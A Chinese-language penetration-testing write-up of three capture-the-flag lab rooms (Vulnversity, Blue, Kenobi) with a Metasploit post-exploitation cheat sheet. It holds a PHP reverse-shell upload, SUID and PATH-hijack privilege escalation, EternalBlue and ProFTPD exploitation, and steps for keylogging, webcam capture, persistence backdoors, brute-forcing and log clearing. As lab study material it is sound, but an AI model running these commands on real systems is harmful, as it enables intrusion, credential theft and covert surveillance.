Offensive Pentesting①——Getting Started
Room
Vulnversity
Recoonaissance
nmap -T4 -n -Pn --min-rate 500 --max-rtt-timeout 300ms -p- 10.82.190.75
#扫描速度(T4:激进模式),强制最小发包速率 500 个 / 秒,最大往返超时时间 300 毫秒
#在网络环境差的时候可以这么操作
nmap -Pn -sV -p 3128 10.82.190.75
nmap -T4 -n -Pn --min-rate 500 --max-rtt-timeout 300ms -p- -sV 10.82.190.75
Locating directories using Gobuster
目录扫描
gobuster dir -u http://10.82.184.179:3333 -w /usr/share/wordlists/dirb/common.txt
找到internal目录,发现可以上传文件。
Compromise the Webserver
文件上传
这里有个简单的文件后缀绕过,phtml可绕过
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.209.71/4444 0>&1'");
?>
//这里的ip为虚拟机的turn0 ip
exec()- PHP函数,用于执行系统命令/bin/bash -c- 调用Bash shell来执行后面的命令字符串bash -i- 启动一个交互式Bash shell>& /dev/tcp/YOUR_IP/4444
>&:将标准输出和标准错误输出都重定向/dev/tcp/YOUR_IP/4444:这是一个特殊的Bash特性,创建TCP连接到指定IP和端口
0>&1- 将标准输入(0)重定向到标准输出(1),使输入也通过网络传输
kali中监听4444端口
nc -nvlp 4444
获得一个完整的交互式Shell

cat /etc/passwd

/etc/passwd 为用户账户数据库,详细解释如下。
# 文件格式:7个字段,冒号分隔
username:password:UID:GID:comment:home_dir:shell
# 实际示例
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
john:x:1000:1000:John Smith:/home/john:/bin/bash字段 | 名称 | 说明 | 示例 | 安全意义 |
1 | 用户名 | 登录名,唯一 | john | 身份标识 |
2 | 密码 | 通常为 ,表示密码在shadow | x | 防止密码泄露 |
3 | UID | 用户ID | 1000 | 内核识别 |
4 | GID | 主组ID | 1000 | 初始权限 |
5 | 注释 | 用户全名或描述 | John Smith | 管理识别 |
6 | 家目录 | 用户登录后的工作目录 | /home/john | 数据隔离 |
7 | Shell | 登录Shell程序 | /bin/bash | 交互环境 |

有/bin/bash 交互环境的通常为管理员
确定网站管理员为bill
到bill的家目录/home/bill 中看到有一个user.txt 文件,cat该文件找到flag。

Privilege Escalation
find / -perm -4000 2>/dev/null作用:在整个系统中查找设置了SUID位的文件
-perm -4000:匹配设置了SUID位的文件(八进制4000)2>/dev/null:将错误输出(如权限拒绝)重定向到空设备,只显示有权限访问的结果

提权
cd /tmp
cat > root.service << 'EOF'
[Service]
Type=oneshot
ExecStart=/bin/sh -c 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash'
[Install]
WantedBy=multi-user.target
EOF
/bin/systemctl link /tmp/root.service
//作用:将临时目录的服务文件链接到systemd管理范围
//目的:使systemd能够识别这个服务
/bin/systemctl start root
//作用:启动刚创建的root服务
//执行效果:执行服务中的命令,在/tmp下创建了一个具有SUID权限的bash副本
/tmp/bash -p
//作用:运行/tmp下刚创建的SUID bash
//-p参数:关键点!告诉bash不要放弃特权(privileged mode)
//效果:因为bash有SUID位且以root权限运行,所以启动的shell具有root权限
whoami作用:创建名为
root.service的systemd服务配置文件关键点分析:
Type=oneshot:服务只运行一次然后退出ExecStart:服务启动时执行的命令
cp /bin/bash /tmp/bash:复制bash到/tmp目录chmod +s /tmp/bash:给复制的bash设置SUID位(+s)
WantedBy=multi-user.target:指定服务在哪个运行级别启动

拿到flag

Blue
Recon
按照题目要求nmap -p-1000 [ip]扫出端口号低于1000的目录


这里看到445端口是开放的,并且操作系统版本为Microsoft Windows 7 - 10(这常见于Windows 7/2008/8),而 EternalBlue 利用的就是SMBv1协议
所以此系统可能存在的漏洞为ms17-010 永恒之蓝漏洞
Gain Access
使用Metasploit
之前也写过利用Metasploit 复现永恒之蓝的文章(https://cindahy.xyz/archives/1755585720444)
msfconsole //启动
search ms17_010
找到漏洞利用代码在Metasploit中的完整路径
exploit/windows/smb/ms17_010_eternalblue
show options #拉出设置,找到必选项设置必选项(payload,rhost,lhost)

ok了

Escalate
# 获取Meterpreter会话
# 如果获得普通shell,升级到Meterpreter
background # 背景化当前会话(Ctrl+Z)
use post/multi/manage/shell_to_meterpreter
set SESSION 1
run
# 查看会话
sessions
sessions -i 2 # 选择Meterpreter会话
# 提升权限
getsystem # 尝试提升到SYSTEM
getuid # 查看当前用户Cracking
hashdump
当运行 hashdump 命令时,Meterpreter会:
访问SAM数据库:从Windows注册表中提取SAM(Security Account Manager)数据库的内容
获取NTLM哈希:提取用户的NTLM哈希值(密码的加密形式)
显示格式:输出格式为
用户名:RID:LM哈希:NTLM哈希:::

Find flags!
C:\>dir *flag*.* /s
dir *flag*.* /s
Volume in drive C has no label.
Volume Serial Number is E611-0B66
Directory of C:\
03/17/2019 01:27 PM 24 flag1.txt
1 File(s) 24 bytes
Directory of C:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent
03/17/2019 01:26 PM 482 flag1.lnk
03/17/2019 01:30 PM 848 flag2.lnk
03/17/2019 01:32 PM 2,344 flag3.lnk
3 File(s) 3,674 bytes
Directory of C:\Users\Jon\Documents
03/17/2019 01:26 PM 37 flag3.txt
1 File(s) 37 bytes
Directory of C:\Windows\System32\config
03/17/2019 01:32 PM 34 flag2.txt
1 File(s) 34 bytes
Total Files Listed:
6 File(s) 3,769 bytes
0 Dir(s) 20,219,310,080 bytes free
flag{access_the_machine}
flag{sam_database_elevated_access}
flag{admin_documents_can_be_valuable}
Kenobi
攻击链逻辑
SMB枚举 → 发现共享 → 下载log.txt → 获取关键信息
↓
获得kenobi用户名、SSH密钥位置、FTP版本
↓
FTP漏洞 → 复制SSH密钥到/var/tmp
↓
NFS挂载 → 从/var/tmp获取密钥
↓
SSH登录 → 获得kenobi用户权限Enumerating Samba for shares
nmap -T4 -n -Pn --min-rate 500 --max-rtt-timeout 300ms -p- 10.80.158.136
smbclient -L //10.80.158.136 -N #尝试匿名登录共享
smbclient //10.82.176.31/anonymous
ls
smbget smb://10.82.176.31/anonymous/log.txt #下载log.txt文件
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.82.176.31#只扫描 10.82.176.31 的 111 端口,并用 3 个专门的脚本,查出这台机器通过 NFS 共享了哪个目录


Gain initial access with ProFtpd
nmap -sV -p 21 10.82.176.31
#从log.txt中获取关键信息:
#用户名kenobi存在
#SSH私钥位置/home/kenobi/.ssh/id_rsa
#ProFTPD版本信息(存在漏洞的版本)
# 连接到FTP端口
nc 10.82.176.31 21
# 在FTP连接中执行以下命令
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa #目标选择/var/tmp 因为NFS共享了此文件夹,且cat /etc/exports看到是rw:允许读写的
mkdir /mnt/kenobiNFS
mount 10.82.176.31:/var /mnt/kenobiNFS
cp /mnt/kenobiNFS/tmp/id_rsa .
chmod 600 id_rsa #这里如果设置777由于安全性反而会需要密码登录
ssh -i id_rsa kenobi@10.82.176.31
cat /home/kenobi/user.txt
ProFTPD mod_copy漏洞 (CVE-2015-3306)
漏洞编号:CVE-2015-3306
受影响版本:ProFTPD 1.3.5
mod_copy模块提供了两个命令:
- CPFR (COPY FROM):指定源文件
- CPTO (COPY TO):指定目标文件
漏洞原因:这些命令本应需要认证才能使用,但在受影响版本中,
无需任何认证就可以直接使用这些命令复制服务器上的任意文件。Privilege Escalation with Path Variable Manipulation
find / -perm -u=s -type f 2>/dev/null
# 查看二进制文件中的可读字符串
strings /usr/bin/menu在输出中看到类似:
curl -I localhost
uname -r
ifconfig
这些命令是相对路径调用,不是绝对路径
所以我们可以路径劫持,将一个恶意的curl写进PATH中,menu按照root权限运行时,它调用curl时不指定完整路径,系统会按照PATH变量的顺序查找,将echo "/bin/bash" 写入,运行menu即可获得root权限。
echo "/bin/bash" > /tmp/curl # 创建一个名为curl的脚本,内容为启动bash
chmod 777 /tmp/curl # 添加执行权限
export PATH=/tmp:$PATH # 将/tmp目录放在PATH最前面
/usr/bin/menu
#得到root权限
whoami
cat /root/root.txtKey point
Metasploit完整渗透测试流程
第一阶段:信息收集与扫描
# 1. 启动Metasploit
msfconsole
# 2. 搜索可用模块
search smb # 搜索SMB相关模块
search ms17_010 # 搜索永恒之蓝漏洞
# 3. 使用扫描模块
use auxiliary/scanner/smb/smb_ms17_010
show options
set RHOSTS 目标IP
run第二阶段:漏洞利用
# 4. 选择利用模块
use exploit/windows/smb/ms17_010_eternalblue
# 5. 查看并设置参数
show options
show targets # 查看支持的目标系统
set RHOSTS 目标IP
set LHOST 本机IP
set LPORT 4444
# 6. 选择payload
show payloads
set payload windows/x64/meterpreter/reverse_tcp
# 7. 验证并执行
check # 检查目标是否脆弱
exploit # 或 run第三阶段:权限提升
# 8. 获取Meterpreter会话
# 如果获得普通shell,升级到Meterpreter
background # 背景化当前会话(Ctrl+Z)
use post/multi/manage/shell_to_meterpreter
set SESSION 1
run
# 9. 查看会话
sessions
sessions -i 2 # 选择Meterpreter会话
# 10. 提升权限
getsystem # 尝试提升到SYSTEM
getuid # 查看当前用户第四阶段:后渗透
# 11. 进程迁移(稳定会话)
ps # 查看进程
migrate PID # 迁移到稳定进程(如explorer.exe)
# 12. 信息收集
sysinfo # 系统信息
ifconfig/ipconfig # 网络配置
route # 路由表
arp # ARP缓存
netstat # 网络连接
# 13. 凭证获取
hashdump # 获取密码哈希
run post/windows/gather/smart_hashdump # 高级哈希获取
run post/windows/gather/cachedump # 缓存凭证
run post/windows/gather/credentials/windows_autologin # 自动登录凭证
# 14. 键盘记录
keyscan_start # 开始键盘记录
keyscan_dump # 导出记录
keyscan_stop # 停止记录
# 15. 屏幕监控
screenshot # 截图
run post/windows/gather/screen_spy # 持续屏幕监控
webcam_list # 查看摄像头
webcam_snap # 拍照
# 16. 文件操作
upload /local/file C:\\target\\path # 上传文件
download C:\\target\\file /local/path # 下载文件
ls # 列出文件
cd # 切换目录
pwd # 当前路径
cat file.txt # 查看文件内容第五阶段:权限维持
# 17. 创建后门
run persistence -U -X -i 30 -p 4444 -r 攻击机IP
# -U: 用户登录时启动
# -X: 系统启动时启动
# -i: 连接间隔
# 18. 添加用户
execute -f cmd.exe -i -c "net user hacker Password123! /add"
execute -f cmd.exe -i -c "net localgroup administrators hacker /add"
# 19. 启用RDP
run post/windows/manage/enable_rdp
run post/windows/manage/enable_rdp -u 用户名 -p 密码第六阶段:横向移动
# 20. 内网扫描
run autoroute -s 192.168.1.0/24 # 添加路由
background
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 445,3389
run
# 21. SMB登录尝试
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.100-200
set USER_FILE /path/users.txt
set PASS_FILE /path/passwords.txt
run
# 22. PsExec远程执行
use exploit/windows/smb/psexec
set RHOSTS 目标IP
set SMBUSER 用户名
set SMBPASS 密码
set SMBDOMAIN 域名
run第七阶段:日志清理与退出
# 23. 清理痕迹
clearev # 清除事件日志
shell
del C:\path\to\tools.exe # 删除上传的工具
exit
# 24. 会话管理
sessions -k 1 # 杀死会话1
sessions -K # 杀死所有会话
exit -y # 强制退出smbclient 命令详解
smbclient 是一个用于访问SMB/CIFS(服务器消息块/通用互联网文件系统)共享的命令行工具,类似于FTP客户端,但用于Windows文件共享和Samba服务器。
smbclient [选项] //服务器/共享名 [密码]列出共享 -L
# 匿名列出(不提供密码)
smbclient -L //10.82.176.31 -N连接共享
# 使用工作组
smbclient //10.82.176.31/share -W WORKGROUP -U username认证选项
-N # 无密码(匿名连接)
-U username # 指定用户名
-P password # 指定密码
-W workgroup # 指定工作组
-A file # 从文件读取认证信息其他有用选项
-p port # 指定端口(默认445)
-m protocol # 指定SMB协议版本
-D directory # 初始目录
-c command # 执行命令后退出smbget 是一个类似于 wget 的工具,但用于通过SMB/CIFS协议递归下载文件。它是 smbclient 的补充,更适合批量下载。
# 递归下载(-r 或 --recursive)
smbget -r smb://10.82.176.31/anonymous/
# 或指定输出目录
smbget -r smb://10.82.176.31/anonymous/ -o ./downloaded_files
# 下载特定文件
smbget smb://10.82.176.31/anonymous/log.txt